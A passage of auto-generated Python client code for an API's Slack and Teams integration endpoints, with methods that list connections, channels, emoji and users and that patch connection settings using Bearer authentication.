all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_all_slack_connections" % key ) local_var_params[key] = val del local_var_params['kwargs'] collection_formats = {} path_params = {} query_params = [] if 'ordering' in local_var_params and local_var_params['ordering'] is not None: # noqa: E501 query_params.append(('ordering', local_var_params['ordering'])) # noqa: E501 if 'limit' in local_var_params and local_var_params['limit'] is not None: # noqa: E501 query_params.append(('limit', local_var_params['limit'])) # noqa: E501 if 'offset' in local_var_params and local_var_params['offset'] is not None: # noqa: E501 query_params.append(('offset', local_var_params['offset'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/integrations/slack', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[SlackConnection]', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_all_teams_connections(self, **kwargs): # noqa: E501 """get_all_teams_connections # noqa: E501 ### Required permissions * User account permission: `None` (read) / `system:admin-access` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_all_teams_connections(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str ordering: Which field to use when ordering the results. :param int limit: Number of results to return per page. :param int offset: The initial index from which to return the results. :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: list[TeamsConnection] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.get_all_teams_connections_with_http_info(**kwargs) # noqa: E501 def get_all_teams_connections_with_http_info(self, **kwargs): # noqa: E501 """get_all_teams_connections # noqa: E501 ### Required permissions * User account permission: `None` (read) / `system:admin-access` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_all_teams_connections_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str ordering: Which field to use when ordering the results. :param int limit: Number of results to return per page. :param int offset: The initial index from which to return the results. :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(list[TeamsConnection], status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['ordering', 'limit', 'offset'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_all_teams_connections" % key ) local_var_params[key] = val del local_var_params['kwargs'] collection_formats = {} path_params = {} query_params = [] if 'ordering' in local_var_params and local_var_params['ordering'] is not None: # noqa: E501 query_params.append(('ordering', local_var_params['ordering'])) # noqa: E501 if 'limit' in local_var_params and local_var_params['limit'] is not None: # noqa: E501 query_params.append(('limit', local_var_params['limit'])) # noqa: E501 if 'offset' in local_var_params and local_var_params['offset'] is not None: # noqa: E501 query_params.append(('offset', local_var_params['offset'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/integrations/teams', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[TeamsConnection]', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_slack_channels(self, id, **kwargs): # noqa: E501 """get_slack_channels # noqa: E501 ### Required permissions * User account permission: `tasks:manage` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_slack_channels(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this Slack connection. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: list[SlackChannel] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.get_slack_channels_with_http_info(id, **kwargs) # noqa: E501 def get_slack_channels_with_http_info(self, id, **kwargs): # noqa: E501 """get_slack_channels # noqa: E501 ### Required permissions * User account permission: `tasks:manage` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_slack_channels_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this Slack connection. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(list[SlackChannel], status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_slack_channels" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `get_slack_channels`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/integrations/slack/{id}/channels', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[SlackChannel]', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_slack_connection(self, id, **kwargs): # noqa: E501 """get_slack_connection # noqa: E501 ### Required permissions * User account permission: `None` (read) / `system:admin-access` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_slack_connection(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this Slack connection. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: SlackConnection If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.get_slack_connection_with_http_info(id, **kwargs) # noqa: E501 def get_slack_connection_with_http_info(self, id, **kwargs): # noqa: E501 """get_slack_connection # noqa: E501 ### Required permissions * User account permission: `None` (read) / `system:admin-access` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_slack_connection_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this Slack connection. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(SlackConnection, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_slack_connection" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `get_slack_connection`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/integrations/slack/{id}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='SlackConnection', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_slack_emoji(self, id, **kwargs): # noqa: E501 """get_slack_emoji # noqa: E501 ### Required permissions * User account permission: `tasks:manage` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_slack_emoji(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this Slack connection. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: list[SlackEmoji] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.get_slack_emoji_with_http_info(id, **kwargs) # noqa: E501 def get_slack_emoji_with_http_info(self, id, **kwargs): # noqa: E501 """get_slack_emoji # noqa: E501 ### Required permissions * User account permission: `tasks:manage` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_slack_emoji_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this Slack connection. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(list[SlackEmoji], status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_slack_emoji" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `get_slack_emoji`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/integrations/slack/{id}/emoji', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[SlackEmoji]', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_slack_users(self, id, **kwargs): # noqa: E501 """get_slack_users # noqa: E501 ### Required permissions * User account permission: `tasks:manage` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_slack_users(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this Slack connection. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: list[SlackUser] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.get_slack_users_with_http_info(id, **kwargs) # noqa: E501 def get_slack_users_with_http_info(self, id, **kwargs): # noqa: E501 """get_slack_users # noqa: E501 ### Required permissions * User account permission: `tasks:manage` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_slack_users_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this Slack connection. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(list[SlackUser], status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_slack_users" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `get_slack_users`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/integrations/slack/{id}/users', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[SlackUser]', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_teams_channels(self, id, **kwargs): # noqa: E501 """get_teams_channels # noqa: E501 ### Required permissions * User account permission: `tasks:manage` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_teams_channels(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this Teams connection. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: list[TeamsRecipient] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.get_teams_channels_with_http_info(id, **kwargs) # noqa: E501 def get_teams_channels_with_http_info(self, id, **kwargs): # noqa: E501 """get_teams_channels # noqa: E501 ### Required permissions * User account permission: `tasks:manage` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_teams_channels_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this Teams connection. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(list[TeamsRecipient], status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_teams_channels" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `get_teams_channels`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/integrations/teams/{id}/channels', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[TeamsRecipient]', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_teams_connection(self, id, **kwargs): # noqa: E501 """get_teams_connection # noqa: E501 ### Required permissions * User account permission: `None` (read) / `system:admin-access` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_teams_connection(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this Teams connection. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: TeamsConnection If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.get_teams_connection_with_http_info(id, **kwargs) # noqa: E501 def get_teams_connection_with_http_info(self, id, **kwargs): # noqa: E501 """get_teams_connection # noqa: E501 ### Required permissions * User account permission: `None` (read) / `system:admin-access` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_teams_connection_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this Teams connection. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(TeamsConnection, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_teams_connection" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `get_teams_connection`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/integrations/teams/{id}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='TeamsConnection', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_teams_users(self, id, **kwargs): # noqa: E501 """get_teams_users # noqa: E501 ### Required permissions * User account permission: `tasks:manage` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_teams_users(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this Teams connection. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: list[TeamsRecipient] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.get_teams_users_with_http_info(id, **kwargs) # noqa: E501 def get_teams_users_with_http_info(self, id, **kwargs): # noqa: E501 """get_teams_users # noqa: E501 ### Required permissions * User account permission: `tasks:manage` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_teams_users_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this Teams connection. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(list[TeamsRecipient], status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_teams_users" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `get_teams_users`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/integrations/teams/{id}/users', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[TeamsRecipient]', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def patch_slack_connection(self, id, slack_connection_partial_update, **kwargs): # noqa: E501 """patch_slack_connection # noqa: E501 ### Required permissions * User account permission: `None` (read) / `system:admin-access` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.patch_slack_connection(id, slack_connection_partial_update, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this Slack connection. (required) :param SlackConnectionPartialUpdate slack_connection_partial_update: (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: SlackConnection If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.patch_slack_connection_with_http_info(id, slack_connection_partial_update, **kwargs) # noqa: E501 def patch_slack_connection_with_http_info(self, id, slack_connection_partial_update, **kwargs): # noqa: E501 """patch_slack_connection # noqa: E501 ### Required permissions * User account permission: `None` (read) / `system:admin-access` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.patch_slack_connection_with_http_info(id, slack_connection_partial_update, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this Slack connection. (required) :param SlackConnectionPartialUpdate slack_connection_partial_update: (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(SlackConnection, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id', 'slack_connection_partial_update'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method patch_slack_connection" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `patch_slack_connection`") # noqa: E501 # verify the required parameter 'slack_connection_partial_update' is set if self.api_client.client_side_validation and ('slack_connection_partial_update' not in local_var_params or # noqa: E501 local_var_params['slack_connection_partial_update'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `slack_connection_partial_update` when calling `patch_slack_connection`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'slack_connection_partial_update' in local_var_params: body_params = local_var_params['slack_connection_partial_update'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/integrations/slack/{id}', 'PATCH', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='SlackConnection', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def patch_teams_connection(self, id, teams_connection_partial_update, **kwargs): # noqa: E501 """patch_teams_connection # noqa: E501 ### Required permissions * User account permission: `None` (read) / `system:admin-access` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.patch_teams_connection(id, teams_connection_partial_update, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this Teams connection. (required) :param TeamsConnectionPartialUpdate teams_connection_partial_update: (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: TeamsConnection If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.patch_teams_connection_with_http_info(id, teams_connection_partial_update, **kwargs) # noqa: E501 def patch_teams_connection_with_http_info(self, id, teams_connection_partial_update, **kwargs): # noqa: E501 """patch_teams_connection # noqa: E501 ### Required permissions * User account permission: `None` (read) / `system:admin-access` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.patch_teams_connection_with_http_info(id, teams_connection_partial_update, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this Teams connection. (required) :param TeamsConnectionPartialUpdate teams_connection_partial_update: (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(TeamsConnection, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id', 'teams_connection_partial_update'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method patch_teams_connection" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `patch_teams_connection`") # noqa: E501 # 